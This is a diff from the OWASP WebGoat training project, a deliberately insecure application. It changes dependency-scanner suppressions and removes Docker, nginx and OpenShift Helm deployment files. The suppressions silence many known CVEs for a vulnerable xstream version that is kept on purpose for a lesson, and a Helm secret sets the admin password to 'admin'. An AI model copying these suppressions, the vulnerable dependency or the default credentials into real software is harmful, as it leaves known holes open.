<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd"> <suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd">
<suppress base="true"> <suppress>
<notes><![CDATA[ <notes><![CDATA[
This suppresses false positives identified on spring framework. This suppresses all CVE entries that have a score below CVSS 7.
]]></notes> ]]></notes>
<cpe>cpe:/a:pivotal_software:spring_framework</cpe> <cvssBelow>7</cvssBelow>
<cve>CVE-2020-5398</cve>
</suppress> </suppress>
<suppress base="true"> <suppress>
<notes><![CDATA[ <notes><![CDATA[
This suppresses false positives identified on spring framework. file name: spring-tx-5.3.21.jar
]]></notes> ]]></notes>
<cpe>cpe:/a:redhat:undertow</cpe> <sha1>13f4f564024d2f85502c151942307c3ca851a4f7</sha1>
<cve>CVE-2019-14888</cve> <cve>CVE-2016-1000027</cve>
</suppress> </suppress>
<suppress base="true"> <suppress>
<notes><![CDATA[ <notes><![CDATA[
This suppresses false positives identified on spring framework. file name: spring-core-5.3.21.jar
]]></notes> ]]></notes>
<cpe>cpe:/a:pivotal_software:spring_security</cpe> <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-core@.*$</packageUrl>
<cve>CVE-2018-1258</cve> <cve>CVE-2016-1000027</cve>
</suppress> </suppress>
<suppress base="true"> <suppress>
<notes><![CDATA[
file name: spring-aop-5.3.21.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-aop@.*$</packageUrl>
<cve>CVE-2016-1000027</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-boot-starter-security-2.7.1.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework\.boot/spring\-boot\-starter\-security@.*$</packageUrl>
<cve>CVE-2022-22978</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: jruby-stdlib-9.2.20.1.jar: jopenssl.jar (shaded: rubygems:jruby-openssl:0.11.0)
]]></notes>
<packageUrl regex="true">^pkg:maven/rubygems/jruby\-openssl@.*$</packageUrl>
<cpe>cpe:/a:jruby:jruby</cpe> <cpe>cpe:/a:jruby:jruby</cpe>
<cve>CVE-2018-1000613</cve> <cpe>cpe:/a:openssl:openssl</cpe>
<cve>CVE-2018-1000180</cve>
<cve>CVE-2017-18640</cve>
<cve>CVE-2011-4838</cve>
</suppress> </suppress>
<suppress base="true"><!-- vulnerable components lesson --> <suppress>
<notes><![CDATA[
file name: xstream-1.4.5.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/com\.thoughtworks\.xstream/xstream@.*$</packageUrl>
<cpe>cpe:/a:xstream_project:xstream</cpe> <cpe>cpe:/a:xstream_project:xstream</cpe>
<cve>CVE-2017-7957</cve> <vulnerabilityName>CVE-2013-7285</vulnerabilityName>
<cve>CVE-2016-3674</cve> <vulnerabilityName>CVE-2016-3674</vulnerabilityName>
<cve>CVE-2020-26217</cve> <vulnerabilityName>CVE-2017-7957</vulnerabilityName>
<cve>CVE-2020-26258</cve> <vulnerabilityName>CVE-2020-26217</vulnerabilityName>
<vulnerabilityName>CVE-2020-26258</vulnerabilityName>
<vulnerabilityName>CVE-2020-26259</vulnerabilityName>
<vulnerabilityName>CVE-2021-21341</vulnerabilityName>
<vulnerabilityName>CVE-2021-21342</vulnerabilityName>
<vulnerabilityName>CVE-2021-21343</vulnerabilityName>
<vulnerabilityName>CVE-2021-21344</vulnerabilityName>
<vulnerabilityName>CVE-2021-21345</vulnerabilityName>
<vulnerabilityName>CVE-2021-21346</vulnerabilityName>
<vulnerabilityName>CVE-2021-21347</vulnerabilityName>
<vulnerabilityName>CVE-2021-21348</vulnerabilityName>
<vulnerabilityName>CVE-2021-21349</vulnerabilityName>
<vulnerabilityName>CVE-2021-21350</vulnerabilityName>
<vulnerabilityName>CVE-2021-21351</vulnerabilityName>
<vulnerabilityName>CVE-2021-43859</vulnerabilityName>
</suppress> </suppress>
<suppress base="true"><!-- webgoat-server --> <suppress>
<cpe>cpe:/a:postgresql:postgresql</cpe> <notes><![CDATA[
<cve>CVE-2018-10936</cve> file name: spring-jcl-5.3.21.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-.*@.*$</packageUrl>
<cve>CVE-2016-1000027</cve>
</suppress> </suppress>
</suppressions> </suppressions>

File diff suppressed because it is too large Load Diff

View File

@ -1,22 +0,0 @@
FROM eclipse-temurin:17_35-jdk-focal
RUN apt-get update
RUN useradd -ms /bin/bash webgoat
RUN apt-get -y install apt-utils nginx
RUN chgrp -R 0 /home/webgoat
RUN chmod -R g=u /home/webgoat
USER webgoat
COPY --chown=webgoat nginx.conf /etc/nginx/nginx.conf
COPY --chown=webgoat index.html /usr/share/nginx/html/
COPY --chown=webgoat target/webgoat-server-*.jar /home/webgoat/webgoat.jar
COPY --chown=webgoat target/webwolf-*.jar /home/webgoat/webwolf.jar
COPY --chown=webgoat start.sh /home/webgoat
RUN chmod +x /home/webgoat/start.sh
EXPOSE 8080
EXPOSE 9090
WORKDIR /home/webgoat
ENTRYPOINT ["./start.sh"]

View File

@ -1,13 +0,0 @@
# Docker all-in-one image
## Docker build
```shell
docker build --no-cache --build-arg webgoat_version=8.2.0-SNAPSHOT -t webgoat/goatandwolf:latest .
```
## Docker run
```shell
docker run -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:latest
```

View File

@ -1,70 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
.p1 {
font-family: Arial, Helvetica, sans-serif;
}
.webgoat {
float: left;
margin-right: 250px;
text-align: center;
}
.webwolf {
float: left;
width: 40%;
height: 40%;
text-align: center;
}
#images {
display: flex;
align-items: center;
justify-content: center;
}
body {
text-align: center;
}
</style>
</head>
<body>
<h1>
<center>
Landing page for WebGoat and WebWolf
</center>
</h1>
<blockquote class="p1">
WebGoat is a deliberately insecure web application maintained by <a href="http://www.owasp.org/">OWASP</a> designed
to teach web
application security lessons.
This program is a demonstration of common server-side application flaws. The
exercises are intended to be used by people to learn about application security and
penetration testing techniques.
</blockquote>
<br/>
<p class="p1">Click on one of the images to go to WebGoat or WebWolf</p>
<br/>
<br/>
<div id="images">
<a href="http://127.0.0.1:8080/WebGoat" title="Open WebGoat" target="_blank"><img class="webgoat"
src="http://127.0.0.1:8080/WebGoat/css/img/logoBG.jpg"></a>
<a href="http://127.0.0.1:9090/WebWolf" title="Open WebWolf" target="_blank"><img class="webwolf"
src="http://127.0.0.1:9090/images/wolf.png"></a>
</div>
</body>
</html>

View File

@ -1,140 +0,0 @@
error_log /tmp/error.log;
pid /tmp/nginx.pid;
worker_processes 1;
events { worker_connections 1024; }
http {
client_body_temp_path /tmp/client_body;
fastcgi_temp_path /tmp/fastcgi_temp;
proxy_temp_path /tmp/proxy_temp;
scgi_temp_path /tmp/scgi_temp;
uwsgi_temp_path /tmp/uwsgi_temp;
sendfile on;
upstream docker-webgoat {
server 127.0.0.1:8080;
}
upstream docker-webwolf {
server 127.0.0.1:9090;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Host $server_name;
server {
listen 8888;
server_name www.webgoat.local;
root /var/www;
access_log /tmp/goataccess.log;
error_log /tmp/goaterror.log;
location ~* \.(png|jpg|jpeg|gif|ico|woff|otf|ttf|mvc|svg|txt|pdf|docx?|xlsx?)$ {
access_log off;
proxy_pass http://docker-webgoat;
proxy_redirect off;
}
location / {
root /usr/share/nginx/html;
index index.html;
add_header Cache-Control no-cache;
expires 0;
}
location /WebGoat {
proxy_pass http://docker-webgoat;
proxy_redirect off;
}
}
server {
listen 8888;
server_name www.webwolf.local;
root /var/www;
access_log /tmp/wolfaccess.log;
error_log /tmp/wolferror.log;
location /WebGoat/PasswordReset/ForgotPassword/create-password-reset-link {
proxy_pass http://docker-webgoat;
proxy_redirect off;
}
location /PasswordReset/reset/reset-password {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /files {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /tmpdir {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /webjars {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /css {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /login {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /images {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /mail {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /upload {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /js {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /landing {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /logout {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
location /WebWolf {
proxy_pass http://docker-webwolf;
proxy_redirect off;
}
}
}

View File

@ -1,40 +0,0 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>webgoat-all-in-one-docker</artifactId>
<packaging>jar</packaging>
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>8.2.3-SNAPSHOT</version>
</parent>
<dependencies>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-antrun-plugin</artifactId>
<version>3.0.0</version>
<executions>
<execution>
<phase>install</phase>
<configuration>
<target>
<copy file="../webgoat-server/target/webgoat-server-${project.version}.jar" tofile="target/webgoat-server-${project.version}.jar"/>
<copy file="../webwolf/target/webwolf-${project.version}.jar" tofile="target/webwolf-${project.version}.jar"/>
</target>
</configuration>
<goals>
<goal>run</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

View File

@ -1,72 +0,0 @@
#!/bin/bash
cd /home/webgoat
function should_start_nginx() {
if [[ -v "${SKIP_NGINX}" ]]; then
return 1
else
for i in "${commandline_args[@]}" ; do [[ $i == "skip-nginx" ]] && return 1 ; done
fi
return 0
}
function nginx() {
if should_start_nginx; then
echo "Starting nginx..."
service nginx start
fi
}
function webgoat() {
echo "Starting WebGoat...."
java \
-Duser.home=/home/webgoat \
-Dfile.encoding=UTF-8 \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.text=ALL-UNNAMED \
--add-opens java.desktop/java.beans=ALL-UNNAMED \
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
--add-opens java.base/sun.nio.ch=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
-jar webgoat.jar --server.address=0.0.0.0 > webgoat.log
}
function webwolf() {
echo "Starting WebWolf..."
java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --server.address=0.0.0.0 > webwolf.log
}
function write_start_message() {
until $(curl --output /dev/null --silent --head --fail http://0.0.0.0:8080/WebGoat/health); do
sleep 2
done
echo "
__ __ _ _____ _
\ \ / / | | / ____| | |
\ \ /\ / / ___ | |__ | | __ ___ __ _ | |_
\ \/ \/ / / _ \ | '_ \ | | |_ | / _ \ / _' | | __|
\ /\ / | __/ | |_) | | |__| | | (_) | | (_| | | |_
\/ \/ \___| |_.__/ \_____| \___/ \__,_| \__|
" >> webgoat.log
echo "WebGoat and WebWolf successfully started..." >> webgoat.log
pidof nginx >/dev/null && echo "Browse to http://localhost to get started" >> webgoat.log || echo "Browse to http://localhost:8080/WebGoat or http://localhost:9090/WebWolf to get started" >> webgoat.log
}
function tail_log_file() {
touch webgoat.log
tail -300f webgoat.log
}
commandline_args=("$@")
nginx
webgoat &
webwolf &
write_start_message &
tail_log_file

View File

@ -1,5 +1,4 @@
# WebGoat landing page # WebGoat landing page
Old Github page which now redirects to OWASP website. Old GitHub page which now redirects to OWASP website.

View File

@ -1,2 +1,2 @@
export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000" export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000"
mvn $@ ./mvnw $@

View File

@ -1,54 +0,0 @@
# Helm chart deployment on OpenShift K8S clusters
This helm chart can be used on a OpenShift Code Ready Container environment or an OpenShift Cloud Container environment.
With the OpenShift CRC (Code Ready Container) cluster you run an entire environment on your local machine. (> 4 vCPU, >8GB mem)
See the Red Hat documentation for general understanding of OpenShift. Make sure helm is installed as well.
https://developers.redhat.com/developer-sandbox
## CRC commands
crc config set cpus 6
crc config set memory 12288
crc setup
crc start
eval $(crc oc-env)
oc login -u developer https://api.crc.testing:6443
oc new-project demo-project
The example without modification uses *demo-project* as the project/namespace for installing WebGoat and WebWolf.
## Helm install this example on your local Code Ready Container environment
helm install goat1 ./webgoat
## Helm install on single node Developer Sandbox (cloud)
oc login --token=sha256~phDWy6Wm_oJQW6kmOHEbLkRdDIXU6b70hRVmdSYWolM --server=https://api.sandbox-m2.rz9k.p1.openshiftapps.com:6443
helm install --set namespace=renezubcevic-dev --set accessMode=ReadWriteOnce --set urlpostfix=.apps.sandbox-m2.rz9k.p1.openshiftapps.com goat1 ./webgoat
A code ready container looks the same for all developers on their local machine, but a developer sandbox requires other credentials from your account in the cloud and different namespace and urlpostfix and also a different access mode for the persistent storage.
Of course the token here is a fake.
## uninstall
helm uninstall goat1
The URL on a Code Ready Container is build from router name + namespace + default extension .apps-crc.testing:
+ [https://webgoat-1-goat-demo-project.apps-crc.testing/WebGoat](https://webgoat-1-goat-demo-project.apps-crc.testing/WebGoat)
+ [http://webwolf-1-wolf-demo-project.apps-crc.testing/WebWolf](http://webwolf-1-wolf-demo-project.apps-crc.testing/WebWolf)
## Explanation
deployment.yaml contains two K8S deployment elements. Both use the same Persistent Volume Claim and use the same Volume mapping.
They both use the same image but with other entrypoint and command arguments. The java.io.dir is also mapped to this persistent volume mapping. The number of pods is 1 for both WebGoat and WebWolf. WebGoat uses the WEBWOLF_HOST parameter to know where the external address of WebWolf is defined. WebWolf uses WEBGOAT_HOST to define the internal service address to WebGoat for connecting to the HSQL database
persistent-storage-claim.yaml contains the OpenShift K8S extension for requestig a volume with Read-Write access that will survive any pod replacements.
service.yaml defines the service ports for both WebGoat and WebWolf
route-goat defines an https endpoint toward the 8080 port. route-wolf defines an http port towards the 9090 port.

View File

@ -1,23 +0,0 @@
# Patterns to ignore when building packages.
# This supports shell glob matching, relative path matching, and
# negation (prefixed with !). Only one pattern per line.
.DS_Store
# Common VCS dirs
.git/
.gitignore
.bzr/
.bzrignore
.hg/
.hgignore
.svn/
# Common backup files
*.swp
*.bak
*.tmp
*.orig
*~
# Various IDEs
.project
.idea/
*.tmproj
.vscode/

View File

@ -1,9 +0,0 @@
apiVersion: v2
name: modsec
description: ModSecurity Core Rule Set
type: application
version: 0.1.0
appVersion: "latest"

View File

@ -1,18 +0,0 @@
kind: ConfigMap
apiVersion: v1
metadata:
name: {{ .Values.modsec_server.name }}-configmap-modsec
namespace: {{ .Values.namespace }}
labels:
app.kubernetes.io/part-of: {{ .Values.modsec_server.name }}
data:
PARANOIA: '1'
EXECUTING_PARANOIA: '2'
ANOMALYIN: '5'
ANOMALYOUT: '5'
ALLOWED_METHODS: 'GET POST'
ALLOWED_REQUEST_CONTENT_TYPE: "text/xml|application/xml|text/plain"
MAX_FILE_SIZE: '5242880'
PORT: '8001'
RESTRICTED_EXTENSIONS: '.conf/'
BACKEND: 'http://{{ .Values.webgoat_server.name }}-service:8080'

View File

@ -1,45 +0,0 @@
kind: Deployment
apiVersion: apps/v1
metadata:
name: {{ .Values.modsec_server.name }}
namespace: {{ .Values.namespace }}
spec:
replicas: 1
selector:
matchLabels:
app: {{ .Values.modsec_server.name }}
template:
metadata:
labels:
app: {{ .Values.modsec_server.name }}
spec:
containers:
- resources:
limits:
memory: "2Gi"
cpu: "1"
requests:
memory: "1Gi"
cpu: "0.5"
name: modsec
ports:
- containerPort: 8001
protocol: TCP
image: {{ .Values.modsec_server.image }}
imagePullPolicy: Always
terminationMessagePolicy: File
envFrom:
- configMapRef:
name: {{ .Values.modsec_server.name }}-configmap-modsec
restartPolicy: Always
terminationGracePeriodSeconds: 30
dnsPolicy: ClusterFirst
securityContext: {}
schedulerName: default-scheduler
strategy:
type: RollingUpdate
rollingUpdate:
maxUnavailable: 25%
maxSurge: 25%
revisionHistoryLimit: 10
progressDeadlineSeconds: 600

View File

@ -1,16 +0,0 @@
apiVersion: route.openshift.io/v1
kind: Route
metadata:
labels:
app: {{ .Values.modsec_server.name }}
name: {{ .Values.modsec_server.name }}-modsec
namespace: {{ .Values.namespace }}
spec:
path: /
port:
targetPort: 8001
to:
kind: Service
name: {{ .Values.modsec_server.name }}-service
weight: 100
wildcardPolicy: None

View File

@ -1,16 +0,0 @@
apiVersion: v1
kind: Service
metadata:
labels:
app: {{ .Values.modsec_server.name }}
name: {{ .Values.modsec_server.name }}-service
namespace: {{ .Values.namespace }}
spec:
ports:
- name: 8001-tcp
port: 8001
protocol: TCP
targetPort: 8001
selector:
app: {{ .Values.modsec_server.name }}
sessionAffinity: None

View File

@ -1,13 +0,0 @@
namespace: demo-project
urlpostfix: .apps-crc.testing
accessMode: ReadWriteMany
modsec_server:
name: modsec-1
#image: docker.io/franbuehler/modsecurity-crs-rp
#image: docker.io/owasp/modsecurity-crs
image: docker.io/chrira/modsecurity-crs-rp:openshift
webgoat_server:
name: webgoat-1

View File

@ -1,23 +0,0 @@
# Patterns to ignore when building packages.
# This supports shell glob matching, relative path matching, and
# negation (prefixed with !). Only one pattern per line.
.DS_Store
# Common VCS dirs
.git/
.gitignore
.bzr/
.bzrignore
.hg/
.hgignore
.svn/
# Common backup files
*.swp
*.bak
*.tmp
*.orig
*~
# Various IDEs
.project
.idea/
*.tmproj
.vscode/

View File

@ -1,9 +0,0 @@
apiVersion: v2
name: webgoat
description: WebGoat Learning Environment
type: application
version: 0.1.0
appVersion: "8.2.3-SNAPSHOT"

View File

@ -1,14 +0,0 @@
kind: ConfigMap
apiVersion: v1
metadata:
name: {{ .Values.webgoat_server.name }}-configmap
namespace: {{ .Values.namespace }}
labels:
app.kubernetes.io/part-of: {{ .Values.webgoat_server.name }}
data:
TZ: 'Europe/Amsterdam'
EXCLUDE_CATEGORIES: 'CLIENT_SIDE'
EXCLUDE_LESSONS: 'SqlInjectionAdvanced'
WEBWOLF_HOST: '{{ .Values.webgoat_server.name }}-wolf-{{ .Values.namespace }}{{ .Values.urlpostfix }}'
WEBWOLF_PORT: '80'
WEBGOAT_HOST: {{ .Values.webgoat_server.name }}-service

View File

@ -1,91 +0,0 @@
kind: Deployment
apiVersion: apps/v1
metadata:
labels:
app.kubernetes.io/part-of: {{ .Values.webgoat_server.name }}
name: {{ .Values.webgoat_server.name }}
namespace: {{ .Values.namespace }}
spec:
replicas: 1
selector:
matchLabels:
app: {{ .Values.webgoat_server.name }}
template:
metadata:
labels:
app: {{ .Values.webgoat_server.name }}
spec:
volumes:
- name: webgoat-volume-1
persistentVolumeClaim:
claimName: {{ .Values.webgoat_server.name }}-pvc
containers:
- resources:
limits:
memory: "1Gi"
cpu: "500m"
requests:
memory: "200Mi"
cpu: "100m"
name: webgoat
ports:
- containerPort: 8080
protocol: TCP
- containerPort: 9090
protocol: TCP
#livenessProbe:
# failureThreshold: 3
# periodSeconds: 10
# httpGet:
# path: /WebGoat
# port: 8080
#readinessProbe:
# failureThreshold: 3
# periodSeconds: 10
# initialDelaySeconds: 60
## httpGet:
# path: /WebGoat
# port: 8080
image: {{ .Values.webgoat_server.image }}
command:
- 'java'
args: ["-Duser.home=/home/webgoat",
"--add-opens","java.base/java.lang=ALL-UNNAMED",
"--add-opens","java.base/java.util=ALL-UNNAMED",
"--add-opens","java.base/java.lang.reflect=ALL-UNNAMED",
"--add-opens","java.base/java.text=ALL-UNNAMED",
"--add-opens","java.desktop/java.beans=ALL-UNNAMED",
"--add-opens","java.desktop/java.awt.font=ALL-UNNAMED",
"--add-opens","java.base/sun.nio.ch=ALL-UNNAMED",
"--add-opens","java.base/java.io=ALL-UNNAMED",
"-Djava.io.tmpdir=/home/webgoat/.webgoat-{{ .Chart.AppVersion }}",
"-Dfile.encoding=UTF-8",
"-Drunning.in.docker=true",
"-Dwebgoat.host=0.0.0.0",
"-Dwebwolf.landingpage.url=http://{{ .Values.webgoat_server.name }}-wolf-{{ .Values.namespace }}{{ .Values.urlpostfix }}/landing",
"-Dwebwolf.mail.url=http://{{ .Values.webgoat_server.name }}-wolf-{{ .Values.namespace }}{{ .Values.urlpostfix }}/mail",
"-jar","/home/webgoat/webgoat.jar",
"--server.address=0.0.0.0"
]
imagePullPolicy: Always
volumeMounts:
- name: webgoat-volume-1
mountPath: /home/webgoat/.webgoat-{{ .Chart.AppVersion }}
terminationMessagePolicy: File
envFrom:
- configMapRef:
name: {{ .Values.webgoat_server.name }}-configmap
- secretRef:
name: {{ .Values.webgoat_server.name }}-secret
restartPolicy: Always
terminationGracePeriodSeconds: 30
dnsPolicy: ClusterFirst
securityContext: {}
schedulerName: default-scheduler
strategy:
type: RollingUpdate
rollingUpdate:
maxUnavailable: 25%
maxSurge: 25%
revisionHistoryLimit: 10
progressDeadlineSeconds: 600

View File

@ -1,13 +0,0 @@
kind: PersistentVolumeClaim
apiVersion: v1
metadata:
name: '{{ .Values.webgoat_server.name }}-pvc'
namespace: '{{ .Values.namespace }}'
spec:
accessModes:
- '{{ .Values.accessMode }}'
resources:
requests:
storage: 1Gi
#volumeName: pv0028
volumeMode: Filesystem

View File

@ -1,36 +0,0 @@
apiVersion: route.openshift.io/v1
kind: Route
metadata:
labels:
app: {{ .Values.webgoat_server.name }}
name: {{ .Values.webgoat_server.name }}-goat
namespace: {{ .Values.namespace }}
spec:
tls:
termination: edge
insecureEdgeTerminationPolicy: Redirect
path: /WebGoat
port:
targetPort: 8080
to:
kind: Service
name: {{ .Values.webgoat_server.name }}-service
weight: 100
wildcardPolicy: None
---
apiVersion: route.openshift.io/v1
kind: Route
metadata:
labels:
app: {{ .Values.webgoat_server.name }}
name: {{ .Values.webgoat_server.name }}-wolf
namespace: {{ .Values.namespace }}
spec:
path: /
port:
targetPort: 9090
to:
kind: Service
name: {{ .Values.webgoat_server.name }}-wolfservice
weight: 100
wildcardPolicy: None

View File

@ -1,7 +0,0 @@
apiVersion: v1
kind: Secret
metadata:
name: {{ .Values.webgoat_server.name }}-secret
namespace: {{ .Values.namespace }}
stringData:
ADMIN_PASSWORD: admin

View File

@ -1,35 +0,0 @@
apiVersion: v1
kind: Service
metadata:
labels:
app: {{ .Values.webgoat_server.name }}
app.kubernetes.io/part-of: {{ .Values.webgoat_server.name }}
name: {{ .Values.webgoat_server.name }}-service
namespace: {{ .Values.namespace }}
spec:
ports:
- name: 8080-tcp
port: 8080
protocol: TCP
targetPort: 8080
selector:
app: {{ .Values.webgoat_server.name }}
sessionAffinity: None
---
apiVersion: v1
kind: Service
metadata:
labels:
app: {{ .Values.webgoat_server.name }}
app.kubernetes.io/part-of: {{ .Values.webgoat_server.name }}
name: {{ .Values.webgoat_server.name }}-wolfservice
namespace: {{ .Values.namespace }}
spec:
ports:
- name: 9090-tcp
port: 9090
protocol: TCP
targetPort: 9090
selector:
app: {{ .Values.webgoat_server.name }}
sessionAffinity: None

View File

@ -1,11 +0,0 @@
namespace: demo-project
urlpostfix: .apps-crc.testing
accessMode: ReadWriteMany
webgoat_server:
name: webgoat-1
image: docker.io/webgoat/webgoat:latest
webwolf_server:
name: webwolf-1
image: docker.io/webgoat/webgoat:latest

615
pom.xml
View File

@ -1,36 +1,32 @@
<?xml version="1.0"?> <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion> <modelVersion>4.0.0</modelVersion>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<packaging>pom</packaging>
<version>8.2.3-SNAPSHOT</version>
<parent> <parent>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId> <artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.4</version> <version>2.7.1</version>
</parent> </parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat</artifactId>
<version>2023.2</version>
<packaging>jar</packaging>
<name>WebGoat Parent Pom</name> <name>WebGoat</name>
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description> <description>WebGoat, a deliberately insecure Web Application</description>
<inceptionYear>2006</inceptionYear>
<url>https://github.com/WebGoat/WebGoat</url> <url>https://github.com/WebGoat/WebGoat</url>
<inceptionYear>2006</inceptionYear>
<organization> <organization>
<name>OWASP</name> <name>OWASP</name>
<url>https://github.com/WebGoat/WebGoat/</url> <url>https://github.com/WebGoat/WebGoat/</url>
</organization> </organization>
<licenses> <licenses>
<license> <license>
<name>GNU General Public License, version 2</name> <name>GNU General Public License, version 2</name>
<url>https://www.gnu.org/licenses/gpl-2.0.txt</url> <url>https://www.gnu.org/licenses/gpl-2.0.txt</url>
</license> </license>
</licenses> </licenses>
<developers> <developers>
<developer> <developer>
<id>mayhew64</id> <id>mayhew64</id>
@ -64,17 +60,17 @@
<developer> <developer>
<id>jwayman</id> <id>jwayman</id>
<name>Jeff Wayman</name> <name>Jeff Wayman</name>
<email/> <email></email>
</developer> </developer>
<developer> <developer>
<id>dcowden</id> <id>dcowden</id>
<name>Dave Cowden</name> <name>Dave Cowden</name>
<email/> <email></email>
</developer> </developer>
<developer> <developer>
<id>lawson89</id> <id>lawson89</id>
<name>Richard Lawson</name> <name>Richard Lawson</name>
<email/> <email></email>
</developer> </developer>
<developer> <developer>
<id>dougmorato</id> <id>dougmorato</id>
@ -100,10 +96,10 @@
</mailingLists> </mailingLists>
<scm> <scm>
<url>https://github.com/WebGoat/WebGoat</url>
<connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection> <connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>
<developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection> <developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>
<tag>HEAD</tag> <tag>HEAD</tag>
<url>https://github.com/WebGoat/WebGoat</url>
</scm> </scm>
<issueManagement> <issueManagement>
@ -112,39 +108,154 @@
</issueManagement> </issueManagement>
<properties> <properties>
<!-- Use UTF-8 Encoding -->
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<!-- Shared properties with plugins and version numbers across submodules--> <!-- Shared properties with plugins and version numbers across submodules-->
<asciidoctorj.version>2.5.2</asciidoctorj.version> <asciidoctorj.version>2.5.3</asciidoctorj.version>
<bootstrap.version>3.3.7</bootstrap.version>
<cglib.version>2.2</cglib.version>
<!-- do not update necessary for lesson -->
<checkstyle.version>3.1.2</checkstyle.version>
<commons-collections.version>3.2.1</commons-collections.version> <commons-collections.version>3.2.1</commons-collections.version>
<commons-lang3.version>3.12.0</commons-lang3.version>
<commons-io.version>2.6</commons-io.version> <commons-io.version>2.6</commons-io.version>
<commons-lang3.version>3.12.0</commons-lang3.version>
<commons-text.version>1.9</commons-text.version>
<guava.version>30.1-jre</guava.version> <guava.version>30.1-jre</guava.version>
<lombok.version>1.18.20</lombok.version> <java.version>17</java.version>
<wiremock.version>2.27.2</wiremock.version> <jjwt.version>0.9.1</jjwt.version>
<jose4j.version>0.7.6</jose4j.version>
<jquery.version>3.5.1</jquery.version>
<jsoup.version>1.14.3</jsoup.version>
<maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version> <maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version> <maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
<maven-jar-plugin.version>3.1.2</maven-jar-plugin.version> <maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
<maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version> <maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
<maven-source-plugin.version>3.1.0</maven-source-plugin.version> <maven-source-plugin.version>3.1.0</maven-source-plugin.version>
<maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version> <maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version>
<java.version>17</java.version> <maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<pmd.version>3.15.0</pmd.version>
<!-- Use UTF-8 Encoding -->
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<thymeleaf.version>3.0.15.RELEASE</thymeleaf.version>
